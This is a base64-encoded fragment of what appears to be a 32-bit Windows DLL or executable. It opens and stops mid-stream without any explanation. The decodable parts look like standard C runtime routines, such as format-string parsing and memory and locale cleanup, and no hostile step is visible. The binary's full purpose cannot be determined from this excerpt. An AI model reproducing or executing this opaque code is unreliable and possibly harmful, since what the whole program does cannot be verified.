u1GOX//3UVag1ZZokLi41A5f//g8cCg8MCg8ICZokzg8ICg8MCgfr+EwAAcr2LjRTl//+NhUjl//8r2GoAjYUo5f//UFONhUjl//9Qi4Uw5f//ib0s5f//iwSFAEkBEP80Af8VLMAAEIu1OOX//4u9POX//4XAD4S0AQAAA70o5f//i5VE5f//ib085f//OZ0o5f//D4ykAQAAi41A5f//i8ErwjtFEA+CIP///+mMAQAAi10QiY0k5f//hdsPhKcBAADHhRjl//8KAAAAg6Uc5f//AIu1JOX//yvKi5Uc5f//jYVI+f//O8tzOw+3PoPGAoPBAom1JOX//2Y7vRjl//91EmoNXmaJMIu1JOX//4PAAoPCAmaJOIPCAoPAAoH6qAYAAHLBM/ZWVmhVDQAAjY3w6///UY2NSPn//yvBmSvC0fhQi8FQVmjp/QAA/xXAwAAQi7U45f//i7085f//iYU05f//hcAPhMIAAAAzyYmNQOX//2oAK8GNlSjl//9SUI2F8Ov//wPBi40U5f//UIuFMOX//4sEhQBJARD/NAH/FSzAABCFwHQei41A5f//A40o5f//i4U05f//iY1A5f//O8F/r+sa/xUcwAAQi41A5f//i/CLhTTl//+JtTjl//87wX9Ri40k5f//i5VE5f//i/kr+om9POX//zv7D4LI/v//6zdqAI2NKOX//1H/dRD/tUTl////NAb/FSzAABCFwHQKi70o5f//M/brCP8VHMAAEIvwi5VE5f//hf91Y4X2dCRqBVs783UU6L7C///HAAkAAADof8L//4kY6z9W6IjC//9Z6zaLhTDl//+LjRTl//+LBIUASQEQ9kQBBEB0CYA6GnUEM8DrIOh+wv//xwAcAAAA6D/C//+DIACDyP/rCCu9LOX//4vHXluLTfwzzV/o2Jf//8nDahhoSB4BEOjqtv//g87/iXXYiXXci30Ig//+dRjo/sH//4MgAOgqwv//xwAJAAAA6b0AAACF/w+InQAAADs91F0BEA+DkQAAAIvHwfgFiUXki9+D4x/B4waLBIUASQEQD75EGASD4AF0cFfoZxsAAFmDZfwAi0XkiwSFAEkBEPZEGAQBdBj/dRT/dRD/dQxX6GcAAACDxBCL8Iva6xXoscH//8cACQAAAOhywf//gyAAi96JddiJXdzHRfz+////6A0AAACL0+sri30Ii13ci3XYV+h4HAAAWcPoQcH//4MgAOhtwf//xwAJAAAA6OG9//+L1ovG6EC2///DVYvsUVFWi3UIV1bo3RsAAIPP/1k7x3UR6DvB///HAAkAAACLx4vX60T/dRSNTfhR/3UQ/3UMUP8VGMEAEIXAdQ//FRzAABBQ6OrA//9Z69OLxsH4BYPmH4sEhQBJARDB5gaAZDAE/YtF+ItV/F9eycNVi+z/BfhMARBWvgAQAABW6Nu0//9Zi00IiUEIhcB0CYNJDAiJcRjrEYNJDASNQRSJQQjHQRgCAAAAi0EIg2EEAIkBXl3DVYvsgeyAAgAAocAwARAzxYlF/ItNDFMzwFaLdQhXi30U/3UQiY3M/f//i9iNjYj9//+JtdT9//+Jvej9//+Jhaz9//+Jnez9//+Jhcj9//+JheD9//+JhdD9//+Jhbj9//+Jhbz9///oeL///+gvwP//iYWo/f//hfYPhJIKAAD2RgxAdWhW6D30//9Zi8iDyP++YDIBEDvIdB6D+f50GYvRg+Ifi8HB+AXB4gYDFIUASQEQg8j/6wKL1vZCJH8PhU0KAAA7yHQZg/n+dBSLwYPhH8H4BcHhBgMMhQBJARDrAovO9kEkgA+FJAoAAIuVzP3//4XSD4QWCgAAM8mLwYmN5P3//4mNxP3//4mNsP3//4oKiYXc/f//iI3z/f//iI20/f//hMkPhPcJAACLtZz9//9CiZXM/f//hcAPiMAJAACNQeA8WHcPD77BD7aAuAYBEIPgD+sCM8CLvcT9//9rwAkPtrw42AYBEIvHwegEib3E/f//i73o/f//iYXE/f//g/gID4SGCQAAg/gHD4dSCQAA/ySFRZgAEDPAg43g/f///4vYiYWg/f//iYW4/f//iYXI/f//iYXQ/f//iZ3s/f//iYW8/f//6RcJAAAPvsGD6CB0LoPoA3Qhg+gIdBdISHQOg+gDD4X4CAAAg8sI6xWDywTrEIPLAesLgcuAAAAA6wODywKJnez9///p0wgAAID5KnUviweDxwSJvej9//+Jhcj9//+FwA+JtQgAAIPLBPfYiZ3s/f//iYXI/f//6Z8IAACLhcj9//9rwAqJhcj9//8PvsGLjcj9//+DwdADyImNyP3//+l3CAAAM8CJheD9///paggAAID5KnUliweDxwSJvej9//+JheD9//+FwA+JTAgAAION4P3////pQAgAAIuV4P3//2vSCg++wYPC0APQiZXg/f//6R4IAACA+Ul0P4D5aHQygPlsdBSA+XcPhQwIAACBywAIAADpI////4A6bHUMQoHLABAAAOkS////g8sQ6Qr///+DyyDpAv///4oCPDZ1FIB6ATR1DoPCAoHLAIAAAOno/v//PDN1FIB6ATJ1DoPCAoHj/3///+nQ/v//PGQPhKYHAAA8aQ+EngcAADxvD4SWBwAAPHUPhI4HAAA8eA+EhgcAADxYD4R+BwAAM8CJhcT9///rAjPAiYW8/f//jYWI/f//UA+2wVDoEwwAAFlZhcB0OI2F3P3//1D/tdT9////tbT9///ovwcAAIuNzP3//4PEDIoBQYiFtP3//4mNzP3//4TAD4RJBwAAjYXc/f//UP+11P3///+1tP3//+iHBwAAg8QM6fgGAAAPvsGD+GQPj80BAAAPhFECAACD+FMPj+0AAAB0fIPoQXQQSEh0VkhIdAhISA+FGAUAAIDBIMeFoP3//wEAAACIjfP9//+LheD9//+Dy0C6AAIAAImd7P3//4219P3//4mVwP3//4XAD4kyAgAAx4Xg/f//BgAAAOmAAgAA98MwCAAAD4WeAAAAgcsACAAAiZ3s/f//6Y0AAAD3wzAIAAB1DIHLAAgAAImd7P3//4uV4P3//7n///9/g/r/dAKLyos3g8cEib3o/f//98MQCAAAD4RTBAAAhfZ1Bos15DABEMeFvP3//wEAAACLxoXJdA8z0klmORB0B4PAAoXJdfMrxtH46TwEAACD6FgPhLACAABISHRwg+gHD4Qn////SEgPhSQEAACDxwSJvej9///3wxAIAAB0MA+3R/xQaAACAACNhfT9//9QjYXk/f//UOjfCwAAg8QQhcB0H8eFuP3//wEAAADrE4pH/IiF9P3//8eF5P3//wEAAACNtfT9///pxQMAAIsHg8cEib3o/f//hcB0M4twBIX2dCwPvwD3wwAIAAB0FJkrwtH4x4W8/f//AQAAAOmKAwAAM8mJjbz9///pfQMAAIs14DABEFbo96H//1npawMAAIP4cA+P4wEAAA+EzwEAAIP4ZQ+MWQMAAIP4Zw+OS/7//4P4aXRkg/hudCWD+G8PhT0DAADHheT9//8IAAAAhNt5W4HLAAIAAImd7P3//+tNg8cEib3o/f//i3/86MIJAACFwA+E5wQAAIuF3P3///bDIHQFZokH6wKJB8eFuP3//wEAAADpegQAAIPLQImd7P3//8eF5P3//woAAAD3wwCAAAB1DPfDABAAAA+EjgEAAIsPg8cIib3o/f//i3/8M/bprgEAAHURgPlndVbHheD9//8BAAAA60o7wn4Ii8KJheD9//89owAAAH43jbhdAQAAV+jwrf//WYqN8/3//4mFsP3//4XAdAqL8Im9wP3//+sKx4Xg/f//owAAAIu96P3//4sHg8cIiYWA/f//i0f8iYWE/f//jYWI/f//UP+1oP3//w++wf+14P3//4m96P3//1D/tcD9//+NhYD9//9WUP81CDQBEP8VSMAAEP/Qi/uDxByB54AAAAB0IYO94P3//wB1GI2FiP3//1BW/zUUNAEQ/xVIwAAQ/9BZWYC98/3//2d1HIX/dRiNhYj9//9QVv81EDQBEP8VSMAAEP/QWVmAPi0PhSj+//+BywABAACJnez9//9G6Rb+///HheD9//8IAAAAagfrHIPocw+E3/z//0hID4SW/v//g+gDD4VrAQAAaidYiYWs/f//x4Xk/f//EAAAAITbD4l8/v//BFHGhdj9//8wiIXZ/f//x4XQ/f//AgAAAOle/v//g8cEM/aJvej9///2wyB0EfbDQHQGD79H/OsOD7dH/OsI9sNAdAqLR/yZi8iL+usFi0/8i/72w0B0HDv+fxh8BDvOcxL32RP+99+BywABAACJnez9///3wwCQAAB1Aov+i5Xg/f//hdJ5BTPSQusUg+P3uAACAACJnez9//870H4Ci9CLwQvHdQaJtdD9//+NdfOLwkqJleD9//+FwH8Gi8ELx3Q9i4Xk/f//mVJQV1HojQgAAIPBMImdnP3//4mFwP3//4v6g/k5fgYDjaz9//+LleD9//+IDouNwP3//07rsIud7P3//41F8yvGRomF5P3///fDAAIAAHQ2hcB0BYA+MHQtTv+F5P3//8YGMOshhfZ1Bos14DABEIvG6wdJgDgAdAVAhcl19SvGiYXk/f//g724/f//AA+FhgEAAPbDQHQ198MAAQAAdAnGhdj9//8t6xr2wwF0CcaF2P3//yvrDPbDAnQRxoXY/f//IMeF0P3//wEAAACLvcj9//8rveT9//+LhdD9//8r+PbDDHUejYXc/f//UP+11P3//1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92COj/mv///3YM6Pea////dhDo75r///92FOjnmv///3YY6N+a////NujYmv///3Yg6NCa////diToyJr///92KOjAmv///3Ys6Lia////djDosJr///92NOiomv///3Yc6KCa////djjomJr///92POiQmv//g8RA/3ZA6IWa////dkTofZr///92SOh1mv///3ZM6G2a////dlDoZZr///92VOhdmv///3ZY6FWa////dlzoTZr///92YOhFmv///3Zk6D2a////dmjoNZr///92bOgtmv///3Zw6CWa////dnToHZr///92eOgVmv///3Z86A2a//+DxED/toAAAADo/5n///+2hAAAAOj0mf///7aIAAAA6OmZ////towAAADo3pn///+2kAAAAOjTmf///7aUAAAA6MiZ////tpgAAADovZn///+2nAAAAOiymf///7agAAAA6KeZ////tqQAAADonJn///+2qAAAAOiRmf///7a4AAAA6IaZ////trwAAADoe5n///+2wAAAAOhwmf///7bEAAAA6GWZ////tsgAAADoWpn//4PEQP+2zAAAAOhMmf///7a0AAAA6EGZ////ttQAAADoNpn///+22AAAAOgrmf///7bcAAAA6CCZ////tuAAAADoFZn///+25AAAAOgKmf///7boAAAA6P+Y////ttAAAADo9Jj///+27AAAAOjpmP///7bwAAAA6N6Y////tvQAAADo05j///+2+AAAAOjImP///7b8AAAA6L2Y////tgABAADospj///+2BAEAAOinmP//g8RA/7YIAQAA6JmY////tgwBAADojpj///+2EAEAAOiDmP///7YUAQAA6HiY////thgBAADobZj///+2HAEAAOhimP///7YgAQAA6FeY////tiQBAADoTJj///+2KAEAAOhBmP///7YsAQAA6DaY////tjABAADoK5j///+2NAEAAOggmP///7Y4AQAA6BWY////tjwBAADoCpj///+2QAEAAOj/l////7ZEAQAA6PSX//+DxED/tkgBAADo5pf///+2TAEAAOjbl////7ZQAQAA6NCX////tlQBAADoxZf///+2WAEAAOi6l////7ZcAQAA6K+X////tmABAADopJf//4PEHF5dw2oUaPAeARDoFpP//4t9CIP//nUQ6Gee///HAA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AAACzHABAnAAAAGMcAEAwAAACIxgAQDwAAAKjGABABAAAASMcAEAYAAAAExwAQewAAAATHABAhAAAAYMcAENQAAABgxwAQgwAAAATHABDmAwAAiMYAEAgAAAB0xwAQFQAAAIjHABARAAAAqMcAEG4AAADkxgAQYQkAAMzGABDjAwAAvMcAEA4AAAB0xwAQAwAAACzHABAeAAAA5MYAENUEAACIxwAQGQAAAOTGABAgAAAAiMYAEAQAAADQxwAQHQAAAOTGABATAAAAiMYAEB0nAADkxwAQQCcAAPjHABBBJwAACMgAED8nAAAgyAAQNScAAEDIABAZJwAAYMgAEEUnAAB0yAAQTScAAIjIABBGJwAAnMgAEDcnAACwyAAQHicAANDIABBRJwAA3MgAEDQnAADwyAAQFCcAAAjJABAmJwAAFMkAEEgnAAAoyQAQKCcAADzJABA4JwAAUMkAEE8nAABgyQAQQicAAHTJABBEJwAAhMkAEEMnAACUyQAQRycAAKjJABA6JwAAuMkAEEknAADMyQAQNicAANzJABA9JwAA7MkAEDsnAAAEygAQOScAABzKABBMJwAAMMoAEDMnAAA8ygAQAAAAAAAAAABmAAAAVMoAEGQAAAB0ygAQZQAAAITKABBxAAAAnMoAEAcAAACwygAQIQAAAMjKABAOAAAA4MoAEAkAAADsygAQaAAAAADLABAgAAAADMsAEGoAAAAYywAQZwAAACzLABBrAAAATMsAEGwAAABgywAQEgAAAKjHABBtAAAAdMsAEB